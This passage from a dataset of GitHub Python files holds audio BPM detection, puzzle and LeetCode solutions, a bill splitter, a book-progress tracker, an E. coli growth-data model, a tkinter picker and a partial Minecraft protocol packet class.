+{"seq_id":"31563300709","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n\"\"\"\nimport numpy as np\nimport scipy\nimport matplotlib.pyplot as plt\nfrom scipy.io import wavfile\nimport scipy.fftpack as fftpk\nfrom pydub import AudioSegment\nimport os\n\ndef toWAV(mp3):\n    wav = mp3.split(\".\")[0] + \".wav\"\n    sound = AudioSegment.from_mp3(mp3)\n    sound.export(wav, format=\"wav\")\n    return wav\n\nclass Song():\n    def __init__(self, songName, start_sec = 0, end_sec = 0):\n        clear = False\n        if \".mp3\" in songName:\n            songName = toWAV(songName)\n            clear = True\n            \n        #print(\"Reading audio file...\")\n        audiofile = wavfile.read(songName)\n        self.sampfreq, self.data = audiofile[0], audiofile[1]/32767 #16 bits\n        self.peakAlphaIndex = 0\n        self.length = len(self.data) - self.peakAlphaIndex\n        self.length_seconds = self.length / 44100\n\n        self.channels = len(self.data[0])\n        if self.channels == 2: # checks for stereo\n            self.data = np.add(self.data[:, [0]], self.data[:, [1]]) / self.channels\n            self.data = np.reshape(self.data, -1)\n        #Normalize to 1 is max\n        self.data = self.data * (1 / np.max(self.data))\n\n        if end_sec != 0:\n            self.data = self.data[int(start_sec * self.sampfreq):int(end_sec * self.sampfreq)]\n            \n        if clear:\n            os.remove(songName)\n        \n    def GetRMS(self): # decibels\n        rms = 20*np.log10((np.mean(np.absolute(self.data))))\n        return int(rms*100)/100\n\n    def FindAlphaPeak(self, start = 0, ratio = 0.8):\n        # MAKE SURE THE DATA IS NORMALIZED SO RATIO = THRESHOLD\n        for i in range(len(self.data)):\n            if abs(self.data[i]) > ratio:\n                self.peakAlpha = self.data[i]\n                self.peakAlphaIndex = i\n                self.length = len(self.data) - self.peakAlphaIndex\n                self.length_seconds = self.length / 44100\n                return int((self.peakAlphaIndex/self.sampfreq)*1000)/1000\n        \n    def GetNoteOnset(self, unit = 2048, chunk_size = 2048, threshold_ratio = 0.8, HPF = 20, LPF = 500):\n        sus, on, self.notes = -1, -1, []\n        note_on = 0\n        song = self.data[self.peakAlphaIndex:]\n        threshold = Get_Threshold(song, chunk_size, threshold_ratio, HPF, LPF, self.sampfreq)\n        #print(\"Ratio: \" + str(threshold_ratio) + \" = Threshold: \" + str(threshold))\n                \n        for i in range(self.length//unit):\n            start = unit*(i) + self.peakAlphaIndex\n            end = unit*(i) + chunk_size + self.peakAlphaIndex\n            \n            on = ReadChunk(self.data[start:end], threshold, LPF, HPF, self.sampfreq)\n            if on == 1 and sus == -1: #Note change\n                note_on = start\n                sus = 1\n            elif on == -1 and sus == 1:\n                note_release = start\n                self.notes.append([note_on, note_release])\n                sus = -1\n                    \n    def GetPeaks(self, x):\n        self.pks, self.pksValue = [],[]\n        for i in self.notes: #notes as an array of start,end pairs\n            try:\n                start = i[0] - x\n                end = i[0] + x\n                noteSamples = self.data[start:end]\n                point = np.max(np.absolute(noteSamples))\n            except:\n                start = i[0]\n                end = i[1]\n                noteSamples = self.data[start:end]\n                point = np.max(np.absolute(noteSamples))\n            \n            transientPoint = np.max(np.where(np.absolute(noteSamples) == point)) + start\n            self.pks.append(transientPoint)\n            self.pksValue.append(point)\n        \n    def GetTruePeaks(self, x):\n        self.truepeaks = []\n        for i in self.notes:\n            range_ = x\n            unit = 64\n            rms = []\n            index = []\n            for j in range(range_//unit): \n                start = i[0] - (range_) + unit*j \n                end = start + unit\n                chunk = self.data[start:end]\n                peakChunk = FindPeaksSignal(chunk)\n                rms.append(sum(peakChunk)/len(peakChunk))\n                index.append(start)\n            \n            highChunk = index[rms.index(max(rms))]\n            self.truepeaks.append(highChunk)\n        \n    def GetBPM(self, minBPM = 80, maxBPM = 210, kind = \"mode\"):\n        x = [i[0] for i in self.notes]\n        d = [x[i+1]-x[i] for i in range(len(x)) if i < len(x)-1]\n        if kind == \"mean\":\n            beat_s = mean(d)/self.sampfreq\n        elif kind == \"mode\":\n            beat_s = mode(d)/self.sampfreq\n        elif kind == \"median\":\n            beat_s = median(d)/self.sampfreq\n        else:\n            print(\"Error\")\n        if beat_s == 0:\n            bpm = 0\n        else:\n            bpm = 60/beat_s\n            while bpm < minBPM or bpm > maxBPM:\n                if bpm < minBPM:\n                    bpm = bpm*2\n                elif bpm > maxBPM:\n                    bpm = bpm/2\n        return bpm\n        \n    def GetBPM_PKS(self, minBPM = 80, maxBPM = 210, kind = \"mode\"):\n        d = [self.pks[i+1]-self.pks[i] for i in range(len(self.pks)) if i < len(self.pks)-1]\n        if kind == \"mean\":\n            beat_s = mean(d)/self.sampfreq\n        elif kind == \"mode\":\n            beat_s = mode(d)/self.sampfreq\n        elif kind == \"median\":\n            beat_s = median(d)/self.sampfreq\n        else:\n            print(\"Error.\")\n        if beat_s == 0:\n            bpm = 0\n        else:\n            bpm = 60/beat_s\n            while bpm < minBPM or bpm > maxBPM:\n                if bpm < minBPM:\n                    bpm = bpm*2\n                elif bpm > maxBPM:\n                    bpm = bpm/2\n        return bpm \n    \n    def CalculateThreshold_RMS(self):\n        self.rms = GetRMS(self.data)\n        floor = -48\n        if self.rms > -12:\n            tr = 0.9\n        elif self.rms > -14 and self.rms <= -12:\n            tr = 0.8\n        elif self.rms > -16 and self.rms <= -14:\n            tr = 0.7\n        elif self.rms > -20 and self.rms <= -16:\n            tr = 0.65\n        elif self.rms > -24 and self.rms <= -20:\n            tr = 0.6\n        elif self.rms > -30 and self.rms <= -24:\n            tr = 0.5\n        elif self.rms > -40 and self.rms <= -30:\n            tr = 0.4\n        elif self.rms > -60 and self.rms <= -40:\n            tr = 0.2\n        else:\n            tr = 0.8\n            \n        #tr = 1 - (self.rms/floor)\n        #print(\"Suggested ratio is: \" + str(tr))\n        return int(tr * 10000)/10000\n\n    def PlotPeaks(self):\n        x = self.pks\n        y = [abs(i) for i in self.pksValue]\n        y = [1 for i in self.pksValue]\n        plt.figure(figsize = (20,5))\n        plt.xlabel(\"Sample Position\")\n        plt.ylabel(\"Amplitude\")\n        plt.grid(True)\n        plt.scatter(x,y)\n        plt.savefig(\"song peaks.png\")\n        plt.show()\n    \n    def SaveOnsets(self):\n        self.notes\n        data = \"\"\n        for i in self.notes:\n            data = data + str(i[0]/self.sampfreq) + \",\" + str(i[1]/self.sampfreq) + \"\\n\"\n        with open(\"onsets.csv\", \"w+\") as file:\n            file.write(data)\n        \n    def PlotNoteOnset(self):\n        x = [i[0] for i in self.notes]\n        y = [1 for i in self.notes]\n        plt.figure(figsize=(20,10))\n        plt.plot(x,y)\n        plt.show()\n\n\n\ndef GetFrequencyPeaks(x, y):\n    peaks_x = []\n    peaks_y = []\n    for i in range(len(y)):\n        if i > 0 and i < len(y)-1:\n            if y[i] > y[i - 1] and y[i] > y[i + 1]:\n                peaks_x.append(x[i])\n                peaks_y.append(y[i])\n    return peaks_x, peaks_y\n\n                    \ndef PlotNote(note, sampfreq, LPF, HPF, name):    \n    x, y = CalculateFFT_dB(note,sampfreq, LPF, HPF) \n    x_peaks, y_peaks = GetFrequencyPeaks(x,y)\n    plt.figure(figsize=(20,10))\n    #plt.xticks(x_peaks)\n    plt.xlabel(\"Frequency (Hz)\")\n    plt.ylabel(\"Amplitude (dB)\")\n    plt.plot(x,y)\n    plt.savefig(name)\n    plt.show()\n\ndef PlotNote2(note, sampfreq, LPF, HPF, name, xticks):    \n    x, y = CalculateFFT_dB(note,sampfreq, LPF, HPF) \n    plt.figure(figsize=(20,10))\n    plt.xticks(xticks)\n    plt.xlabel(\"Frequency (Hz)\")\n    plt.ylabel(\"Amplitude (dB)\")\n    plt.plot(x,y)\n    plt.savefig(name)\n    plt.show()\n\n\ndef PlotPeaks2(x, y, xticks, ylim, name):\n    plt.figure(figsize=(20,10))\n    plt.grid(True)\n    plt.plot(x,y)\n    plt.scatter(x,y)\n    plt.ylim(ylim)\n    plt.xticks(xticks)\n    plt.savefig(name)\n    plt.show()\n\ndef ReadChunk(chunk, threshold, LPF, HPF, sampfreq):\n    FFT = abs(scipy.fft.fft(chunk))\n    freqs = fftpk.fftfreq(len(FFT), (1.0/sampfreq))\n    \n    freqs = freqs[range(len(FFT)//2)]\n    \n    freqsHPF = freqs[freqs > HPF]\n    freqsLPF = freqs[freqs < LPF]\n    \n    indexHPF = int(max(np.where(freqs == freqsHPF[0])))\n    indexLPF = int(max(np.where(freqs == freqsLPF[len(freqsLPF)-1])))\n        \n    FFT = FFT[range(len(FFT)//2)]\n    FFTF = FFT[indexHPF:indexLPF]\n    \n    if np.sum(np.absolute(FFTF)) > threshold:\n        frequency = 1\n    else:\n        frequency = -1\n    return frequency\n    \ndef FindPeaksSignal(x):\n    peaks = [0]\n    for i in range(1,len(x)-1):\n        if abs(x[i]) >= abs(x[i - 1]) and abs(x[i]) >= abs(x[i+1]):\n            peaks.append(x[i])\n    return peaks\n\ndef CalculateFFT_dB(chunk, sampfreq, HPF, LPF):\n        \n    window = chunk.size\n    \n    chunk = chunk * window\n    FFT = abs(scipy.fft.fft(chunk))\n    freqs = fftpk.fftfreq(len(FFT), (1.0/sampfreq))\n    \n    freqs = freqs[range(len(FFT)//2)]\n    \n    freqsHPF = freqs[freqs > HPF]\n    freqsLPF = freqs[freqs < LPF]\n    \n    indexHPF = int(max(np.where(freqs == freqsHPF[0])))\n    indexLPF = int(max(np.where(freqs == freqsLPF[len(freqsLPF)-1])))\n        \n    FFT = FFT[range(len(FFT)//2)]\n    \n    FFTF = FFT[indexHPF:indexLPF]\n    freqsF = freqs[indexHPF:indexLPF]\n    \n    return freqsF, FFTF \n\n\ndef Get_Threshold(data, chunk_size, ratio, HPF, LPF, sampfreq):\n        #Find the highest power in the frequency range in the whole data\n        #Use it as threshold multiplied by the ratio received\n        total = []\n        for i in range(int((len(data)/chunk_size))-1):\n            start = chunk_size*(i)\n            end = chunk_size*(i) + chunk_size\n            chunk = data[start:end]\n            \n            FFT = abs(scipy.fft.fft(chunk))\n            freqs = fftpk.fftfreq(len(FFT), (1.0/sampfreq))\n\n            freqs = freqs[range(len(FFT)//2)]\n\n            freqsHPF = freqs[freqs > HPF]\n            freqsLPF = freqs[freqs < LPF]\n            \n            indexHPF = int(max(np.where(freqs == freqsHPF[0])))\n            indexLPF = int(max(np.where(freqs == freqsLPF[len(freqsLPF)-1])))\n            \n            FFT = FFT[range(len(FFT)//2)]\n            \n            FFTF = FFT[indexHPF:indexLPF]\n            \n            total.append(np.sum(np.absolute(FFTF)))\n            \n        threshold = (max(total))\n        #threshold = (max(total)) - (min(total))\n        return threshold * ratio\n    \n    \ndef SavePeaks(peaks, sampfreq, channels, alphaPeak, name):\n    data = \"\"\n    for i in peaks:\n        data = data + str(((alphaPeak + i) * channels)/sampfreq) + \"\\n\"\n    with open(name, \"w+\") as file:\n        file.write(data)\n    \ndef GetRMS(part):\n    rms = 20*np.log10((np.mean(np.absolute(part)) + 0.0001))\n    #print(\"RMS is: \" + str(rms) + \" dB\")\n    return rms\n\ndef GetRMS_100(part):\n    rms = (np.mean(np.absolute(part))) * 100\n    #print(\"RMS is: \" + str(rms) + \" dB\")\n    return rms\n\ndef CalculateThreshold_RMS(data):\n    rms = GetRMS(data)\n    floor = -96\n    tr = 1 - (rms/floor)\n    #print(\"Suggested ratio is: \" + str(tr))\n    return int(tr * 10000)/10000\n    \ndef GetTopFrequencies(a,b,start,num = 5):\n    x, y = list(a), list(b)\n    freq,amp = [],[]\n    for i in range(num):\n        m = max(max(y))\n        f = x[y.index(m)]\n        freq.append(f)\n        amp.append(m)\n        \n        index = y.index(m)\n        y.pop(index)\n        x.pop(index)\n        \n    return [freq, amp, start]\n\ndef mode(List):  #most frequent\n    return max(set(List), key = List.count) \ndef mean(List): #average value\n    return sum(List)/len(List)\ndef median(List): #middle of the list\n    return sorted(List)[int(len(List)/2)]\n\ndef GetBPMS(song, tr, freqTop):\n    bpms1, onsets1 = BPM_Bass(song, tr, freqTop)\n    bpms2, onsets2 = BPM_Bass2(song, tr, freqTop)\n    return [bpms1, bpms2], onsets1\n\ndef BPM_Bass(song, tr, freqTop):\n    song.GetNoteOnset(unit = 2048, chunk_size = 2048, threshold_ratio = tr, HPF = 0, LPF = freqTop)\n    song.GetPeaks(x = 1024)\n    magicRatio = (128/129.19921875)\n    bpm1 = int(song.GetBPM()*magicRatio*100)/100\n    bpm2 = int(song.GetBPM_PKS()*100)/100\n    return [bpm1, bpm2], [song.pks]\n    \ndef BPM_Bass2(song, tr, freqTop):\n    song.GetNoteOnset(unit = 1024, chunk_size = 1024, threshold_ratio = tr, HPF = 0, LPF = freqTop)\n    song.GetPeaks(x = 512)\n    magicRatio = (128/129.19921875)\n    bpm1 = int(song.GetBPM()*magicRatio*100)/100\n    bpm2 = int(song.GetBPM_PKS()*100)/100\n    return [bpm1, bpm2], [song.pks]\n    \n","repo_name":"AlbertoV5/BPM-Detection","sub_path":"onset.py","file_name":"onset.py","file_ext":"py","file_size_in_byte":12971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10559804921","text":"import heapq\nfrom aocd import data\n\ndirs = [\n    (1,0),\n    (0,-1),\n    (-1,0),\n    (0,1)\n]\n\ndef main(input): \n    grid = [[int(c) for c in line] for line in input.split()]\n    rows, cols = len(grid), len(grid[0])\n    best = [[-1 for i in range(cols)] for j in range(rows)]\n    heap = []\n    # Tuples are risk, x, y\n    heapq.heappush(heap, (0, 0, 0,))\n    while True:\n        r, x, y = heapq.heappop(heap)\n        if x == cols-1 and y == rows-1:\n            print(r)\n            return\n        for x1, y1 in dirs:\n            x2 = x+x1\n            y2 = y+y1\n            if bounds_check(x2, y2, rows, cols):\n                r2 = r + grid[y2][x2]\n                if best[y2][x2] == -1 or r2 < best[y2][x2]:\n                    best[y2][x2] = r2\n                    heapq.heappush(heap, (r2,x2,y2))\n\n\ndef bounds_check(x, y, r, c):\n    return 0 <= x < c and 0 <= y < r\n\n\nif __name__ == \"__main__\":\n    main(data)\n","repo_name":"aetimmes/AoC-2021","sub_path":"solutions/15a.py","file_name":"15a.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14035661518","text":"from operator import or_ as merge_dict\nfrom typing import Dict, List, TypedDict\n\nfrom app.schema import ArgsSchema\n\n\nclass ShoppingItem(TypedDict):\n    name: str\n    price: int\n    quantity: int\n\n\ndef divide_account(\n    shopping_list: List[ShoppingItem],\n    emails: List[str]\n) -> Dict[str, int]:\n    \"\"\"Given a shopping list and an email list, that function divides\n    the total price between each email.\n\n    Args:\n        shopping_list (List[Dict[ShoppingItem]]): List of products as\n                                        [\n                                            {\n                                                \"name\": str,\n                                                \"price\": int,\n                                                \"quantity\": int\n                                            },\n                                            ...\n                                        ]\n        emails (List[str]): List of unique and valide emails\n\n    Returns:\n        Dict[str, int]: Price per email as\n                        {\n                            email: price,\n                            ...\n                        }\n    \"\"\"\n\n    schema_result = ArgsSchema().load({\n        \"shopping_list\": shopping_list,\n        \"emails\": emails\n    })\n\n    shopping_list = schema_result[\"shopping_list\"]\n    emails = schema_result[\"emails\"]\n\n    total_price = sum(item[\"price\"] * item[\"quantity\"] for item in shopping_list)\n\n    price_per_person, remainder = divmod(total_price, len(emails))\n\n    return merge_dict(\n        dict.fromkeys(emails[:remainder], price_per_person + 1),\n        dict.fromkeys(emails[remainder:], price_per_person)\n    )\n","repo_name":"menezesfelipee/stone_challenge","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33700201648","text":"#coding: utf-8\n\"\"\"Подсказывает на какой странице книги я остановился\"\"\"\n\nimport os\nimport string\nimport sys\n\ndef Clear(String):\n    \"\"\"\n    Очищает строку от символов \" [],' \" (Заменяя их на \"\")\n    которые остались после того как она была превращена в строку из списка\n    \"\"\"\n\n    String = String.replace(\"[\",\"\")\n    String = String.replace(\"]\",\"\")\n    String = String.replace(\",\",\"\",String.count(\",\"))\n    String = String.replace(\"'\",\"\",String.count(\"'\"))\n    String = String.replace('\"',\"\",String.count('\"'))\n\n    return String\n\n\ndef main():\n\n    \"\"\"\n    Работает на винде и линухе\n    больше нигде не проверялась\n    \"\"\"\n\n    Books = {} #словарь в котором будут хранится пары: книга - страница\n    Path = os.getcwd() + \"/times\" #Рабочая директория + название файла\n    sysName = sys.platform\n\n    if sysName == \"win32\":\n      File = open(Path, encoding = \"utf8\")\n    else:\n      File = open(Path)\n\n    Times = File.readline() #количество запусков программы\n    print(\"You have run this program %s times \" % Times.rsplit()[0])\n\n    #считывание данных\n\n    for BookName in File:\n        BookName = BookName.split()\n\n        *CurrentBook, CurrentPage = BookName #текущая книгa, текущая страница\n        CurrentBook, CurrentPage = str(CurrentBook), str(CurrentPage)\n        CurrentBook = Clear(CurrentBook)\n        Books[CurrentBook] = CurrentPage\n\n        print(\"You have stopped on %s page of ' %s' \" % ( CurrentPage, CurrentBook ) )\n        NewPage = input(\"Will you enter new page for this book? \")\n\n        #обработка полученных данных и составление новых\n        if NewPage.isdigit() and int(NewPage) > int(CurrentPage): #все норм\n            print(\"Got it\")\n            print(\"you have read %s page(s) of ' %s', since you run this programm last time\"\n                  % (str( int(NewPage) - int(CurrentPage) ), CurrentBook ) )\n            Books[CurrentBook] = NewPage\n        elif NewPage.isdigit(): #что-то не так\n            print(\"Amazing!! Crazy!!!\")\n\n    File.close()\n\n\n    #запись новых данных в файл\n    File = open(Path,'w')\n    File.write(str(int(Times) + 1)+\"\\n\")\n    for Book in Books:\n        print(Book, Books[Book], file = File)\n    File.close()\n\n    print(\"Good Bye\")\n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"GitCaptain/home-repo","sub_path":"Python/Reading/ReadProgress.py","file_name":"ReadProgress.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35863004684","text":"from __future__ import absolute_import, division, print_function\n\nimport numpy as np\nfrom scipy.optimize import curve_fit\nfrom wholecell.utils import units\n\ndef exp2(x, a, b, c, d):\n\treturn a * np.exp(b * x) + c * np.exp(d * x)\n\nclass GrowthData(object):\n\n\tdef __init__(self, kb):\n\t\tself.tau_d = np.array(kb.cellDryMassComposition[\"doublingTime\"].asNumber(units.min))\n\n\t\tavgToBeginningConvFactor = kb.avg_cell_to_initial_cell_conversion_factor\n\t\tself._dryMass = np.array([148., 258., 433., 641., 865.]) / avgToBeginningConvFactor # TOKB\n\t\tself._proteinMass = self._dryMass * kb.cellDryMassComposition[\"proteinMassFraction\"]\n\t\tself._rnaMass = self._dryMass * kb.cellDryMassComposition[\"rnaMassFraction\"]\n\t\tself._dnaMass = self._dryMass * kb.cellDryMassComposition[\"dnaMassFraction\"]\n\n\t\t# We are assuming these are constant over all growth rates\n\t\t# (probably not be true...)\n\t\tself.RRNA23S_MASS_SUB_FRACTION = 0.525 # This is the fraction of RNA that is 23S rRNA\n\t\tself.RRNA16S_MASS_SUB_FRACTION = 0.271 # This is the fraction of RNA that is 16S rRNA\n\t\tself.RRNA5S_MASS_SUB_FRACTION = 0.017 # This is the fraction of RNA that is 5S rRNA\n\t\tself.TRNA_MASS_SUB_FRACTION = 0.146 # This is the fraction of RNA that is tRNA\n\t\tself.MRNA_MASS_SUB_FRACTION = 0.041 # This is the fraction of RNA that is mRNA\n\n\t\t# The type stub (just in PyCharm?) is wrong about curve_fit's arg p0.\n\t\t# noinspection PyTypeChecker\n\t\tp0 = (0, 0, 0, 0)  # type: float\n\t\tself.dryMassParams, _ = curve_fit(exp2, self.tau_d, self._dryMass, p0=p0)\n\t\tself.proteinMassParams, _ = curve_fit(exp2, self.tau_d, self._proteinMass, p0=p0)\n\t\tself.rnaMassParams, _ = curve_fit(exp2, self.tau_d, self._rnaMass, p0=p0)\n\t\tself.dnaMassParams, _ = curve_fit(exp2, self.tau_d, self._dnaMass, p0=p0)\n\n\t\tself.chromMass = self._chromMass(kb)\n\n\t\tself.C_PERIOD = 40. # TOKB. [minutes]\n\t\tself.D_PERIOD = 20. # TOKB. [minutes]\n\t\tself.CD_PERIOD = self.C_PERIOD + self.D_PERIOD\n\n\tdef _chromMass(self, kb):\n\t\tdntCounts = np.array([\n\t\t\tkb.genome_A_count + kb.genome_T_count,\n\t\t\tkb.genome_C_count + kb.genome_G_count,\n\t\t\tkb.genome_G_count + kb.genome_C_count,\n\t\t\tkb.genome_T_count + kb.genome_A_count\n\t\t])\n\n\t\tdntMasses = (kb.get_masses(kb.molecule_groups.polymerizedDNT_IDs) / kb.n_avogadro).asUnit(units.g)\n\n\t\tchromMass = units.dot(dntCounts, dntMasses)\n\t\treturn chromMass\n\n\tdef _clipTau_d(self, tau_d):\n\t\t# Clip values to be in the range that we have data for\n\t\tif hasattr(tau_d, \"dtype\"):\n\t\t\ttau_d[tau_d > self.tau_d.max()] = self.tau_d.max()\n\t\t\ttau_d[tau_d < self.tau_d.min()] = self.tau_d.min()\n\t\telse:\n\t\t\tif tau_d > self.tau_d.max():\n\t\t\t\ttau_d = self.tau_d.max()\n\t\t\telif tau_d < self.tau_d.min():\n\t\t\t\ttau_d = self.tau_d.min()\n\t\treturn tau_d\n\n\n\tdef dnaMass(self, tau_d):\n\t\tif tau_d < self.D_PERIOD:\n\t\t\traise Exception(\n\t\t\t\t\"Can't have doubling time shorter than cytokinesis time!\")\n\n\t\t# TODO: If you really care, this should be a loop.\n\t\t# It is optimized to run quickly over the range of T_d\n\t\t# and C and D periods that we have.\n\t\treturn self.chromMass * (1 +\n\t\t\t1 * (np.maximum(0., self.CD_PERIOD - tau_d) / self.C_PERIOD) +\n\t\t\t2 * (np.maximum(0., self.CD_PERIOD - 2 * tau_d) / self.C_PERIOD) +\n\t\t\t4 * (np.maximum(0., self.CD_PERIOD - 4 * tau_d) / self.C_PERIOD)\n\t\t\t)\n\n\n\tdef massFractions(self, tau_d):\n\t\t\"\"\"\n\t\tGiven an input doubling time in minutes, output mass fractions in fg\n\t\t\"\"\"\n\n\t\tD = {}\n\t\tD[\"dnaMass\"] = self.dnaMass(tau_d)\n\n\t\ttau_d = self._clipTau_d(tau_d)\n\n\t\tD[\"proteinMass\"] = units.fg * exp2(tau_d, *self.proteinMassParams)\n\t\tD[\"rnaMass\"] = units.fg * exp2(tau_d, *self.rnaMassParams)\n\t\tD[\"rRna23SMass\"] = D[\"rnaMass\"] * self.RRNA23S_MASS_SUB_FRACTION\n\t\tD[\"rRna16SMass\"] = D[\"rnaMass\"] * self.RRNA16S_MASS_SUB_FRACTION\n\t\tD[\"rRna5SMass\"] = D[\"rnaMass\"] * self.RRNA5S_MASS_SUB_FRACTION\n\t\tD[\"tRnaMass\"] = D[\"rnaMass\"] * self.TRNA_MASS_SUB_FRACTION\n\t\tD[\"mRnaMass\"] = D[\"rnaMass\"] * self.MRNA_MASS_SUB_FRACTION\n\n\t\treturn D","repo_name":"CovertLab/WholeCellEcoliRelease","sub_path":"reconstruction/ecoli/compendium/growth_data.py","file_name":"growth_data.py","file_ext":"py","file_size_in_byte":3876,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"16"}
+{"seq_id":"4945476421","text":"import tkinter\nfrom tkinter import *\nimport random\n\n# class Random_area :\n#     def rand_choice(self, canvas, canvas_img) :\n#         r_img = random.choice(self.img_list)\n#         canvas.itemconfig(canvas_img, image=r_img)\n    \n#     def exe(self) :\n#         window = Tk()\n#         window.title(\"랜덤 추첨\")\n#         window.config(padx=10, pady=10, bg=\"lightblue\")\n\n#         canvas = Canvas(window, height=680, width=680, bg=\"ivory\")\n#         canvas.pack()\n\n#         img_main = PhotoImage(file=\"area/gift.png\")\n#         canvas_img = canvas.create_image(340, 340, image=img_main)\n#         canvas.create_text(340, 30, text=\"랜덤박스\", fill=\"brown\", \\\n#             font=(\"나눔바른펜\", 30, \"bold\"))\n\n\n#         self.img_list = []\n#         for i in range(8) :\n#             img = PhotoImage(file=f\"images/img{i}.png\")\n#             self.img_list.append(img)\n\n#         button = Button(window, text=\"랜덤 뽑기\", bg=\"white\", fg=\"hotpink\", \\\n#             font=(\"나눔바른펜\", 20, \"bold\"), \\\n#             command=self.rand_choice(canvas, canvas_img))\n\n#         button.place(x=550, y=0)\n\n\n#         window.mainloop()\n\n# rand = Random_area()\n# rand.exe()\n\ndef rand_choice() :\n    r_img = random.choice(img_list)\n    canvas.itemconfig(canvas_img, image=r_img)\n\nwindow = Tk()\nwindow.title(\"랜덤 추첨\")\nwindow.config(padx=10, pady=10, bg=\"ivory\")\n\ncanvas = Canvas(window, height=600, width=600, bg=\"ivory\")\ncanvas.pack()\n\nimg_main = tkinter.PhotoImage(file=\"images/gift.png\", master=window)\ncanvas_img = canvas.create_image(300, 300, image=img_main)\n# canvas.create_text(340, 30, text=\"랜덤박스\", fill=\"brown\", \\\n#    font=(\"나눔바른펜\", 30, \"bold\"))\n\n\nimg_list = []\nfor i in range(6) :\n    img = tkinter.PhotoImage(file=f\"images/img{i}.png\", master=window)\n    img_list.append(img)\n\nbutton = Button(window, text=\"여행지 뽑기\", bg=\"white\", fg=\"orange\", \\\n    font=(\"나눔바른펜\", 17, \"bold\"), \\\n    command=rand_choice)\n\nbutton.place(x=470, y=0)\n\n\nwindow.mainloop()","repo_name":"kimgyuhee/crawling","sub_path":"Korea_trip_crawling_project/code/random_box.py","file_name":"random_box.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41881465609","text":"\"\"\"\nhttps://leetcode.com/submissions/detail/421671894/?from=/explore/challenge/card/november-leetcoding-challenge/566/week-3-november-15th-november-21st/3535/\n\n[BEST]\nclass Solution(object):\n    def merge(self, intervals):\n        answer = []\n        intervals = sorted(intervals, key=lambda x: x[0])\n        \n        rangeMin = intervals[0][0]\n        rangeMax = intervals[0][1]\n        for ele in intervals:\n\n            if ele[0] > rangeMax:\n                answer.append([rangeMin, rangeMax])\n                rangeMin = ele[0]\n                rangeMax = ele[1]\n\n            if ele[0] < rangeMin:\n                rangeMin = ele[0]\n            if ele[1] > rangeMax:\n                rangeMax = ele[1]\n\n        answer.append([rangeMin, rangeMax])\n        return answer\n\"\"\"\nclass Solution(object):\n    def merge(self, intervals):\n        \"\"\"\n        :type intervals: List[List[int]]\n        :rtype: List[List[int]]\n        \"\"\"\n\n        if len(intervals) <= 1:\n            return intervals\n\n        intervals.sort()\n        result = []\n        current = intervals[0]\n        result.append(current)\n\n        for interval in intervals:\n            current_start = current[0]\n            current_end = current[1]\n            interval_start = interval[0]\n            interval_end = interval[1]\n\n            if current_end >= interval_start:\n                current[1] = max(current_end, interval_end)\n            else:\n                current = interval\n                result.append(current)\n\n        return result\n\nif __name__ == '__main__':\n    s = Solution()\n    print(s.merge([[1,3],[2,6],[8,10],[15,18]]))\n    print(s.merge([[1,4],[4,5]]))\n\n","repo_name":"jaecheolkim99/CodingPlayground","sub_path":"LeetCode/Merge Intervals.py","file_name":"Merge Intervals.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21014505968","text":"r\"\"\"\r\n  ____           _\r\n |  _ \\ ___   __| |_ __ _   _ _ __ ___\r\n | |_) / _ \\ / _` | '__| | | | '_ ` _ \\\r\n |  __/ (_) | (_| | |  | |_| | | | | | |\r\n |_|   \\___/ \\__,_|_|   \\__,_|_| |_| |_|\r\n\r\n Copyright 2021 Podrum Team.\r\n\r\n This file is licensed under the GPL v2.0 license.\r\n The license file is located in the root directory\r\n of the source code. If not you may not use this file.\r\n\"\"\"\r\n\r\nfrom podrum.protocol.mcbe.mcbe_protocol_info import mcbe_protocol_info\r\nfrom podrum.protocol.mcbe.packet.mcbe_packet import mcbe_packet\r\n\r\n\r\nclass start_game_packet(mcbe_packet):\r\n    def __init__(self, data: bytes = b\"\", pos: int = 0) -> None:\r\n        super().__init__(data, pos)\r\n\r\n        self.multiplayer_game = None\r\n        self.lan_broadcasting = None\r\n        self.xbox_live_broadcast_mode = None\r\n        self.platform_broadcast_mode = None\r\n        self.enable_commands = None\r\n        self.require_texture_pack = None\r\n        self.game_rules = None\r\n        self.experiments = None\r\n        self.has_used_experiments = None\r\n        self.bonus_chest = None\r\n        self.start_map = None\r\n        self.permission_level = None\r\n        self.chunk_tick_range = None\r\n        self.locked_behavior_pack = None\r\n        self.locked_texture_pack = None\r\n        self.from_locked_template = None\r\n        self.only_msa_gamer_tags = None\r\n        self.from_world_template = None\r\n        self.world_template_option_locked = None\r\n        self.only_old_villagers = None\r\n        self.game_version = None\r\n        self.limited_world_width = None\r\n        self.limited_world_height = None\r\n        self.new_nether = None\r\n        self.edu_shared_uri_resource_bottom_name = None\r\n        self.edu_shared_uri_resource_uri_link = None\r\n        self.experimental_gameplay = None\r\n        self.level_id = None\r\n        self.world_name = None\r\n        self.premium_world_template_id = None\r\n        self.trial = None\r\n        self.movement_type = None\r\n        self.movement_rewind_size = None\r\n        self.server_authoritative_block_breaking = None\r\n        self.current_tick = None\r\n        self.enchantment_seed = None\r\n        self.item_states = None\r\n        self.multiplayer_correlation_id = None\r\n        self.server_authoritative_inventories = None\r\n        self.server_engine = None\r\n\r\n        self.entity_id = None\r\n        self.entity_runtime_id = None\r\n        self.player_gamemode = None\r\n        self.spawn = None\r\n        self.rotation = None\r\n        self.seed = None\r\n        self.spawn_biome_type = None\r\n\r\n        self.packet_id: int = mcbe_protocol_info.start_game_packet\r\n\r\n    def decode_payload(self):\r\n        pass\r\n        \r\n    def encode_payload(self):\r\n        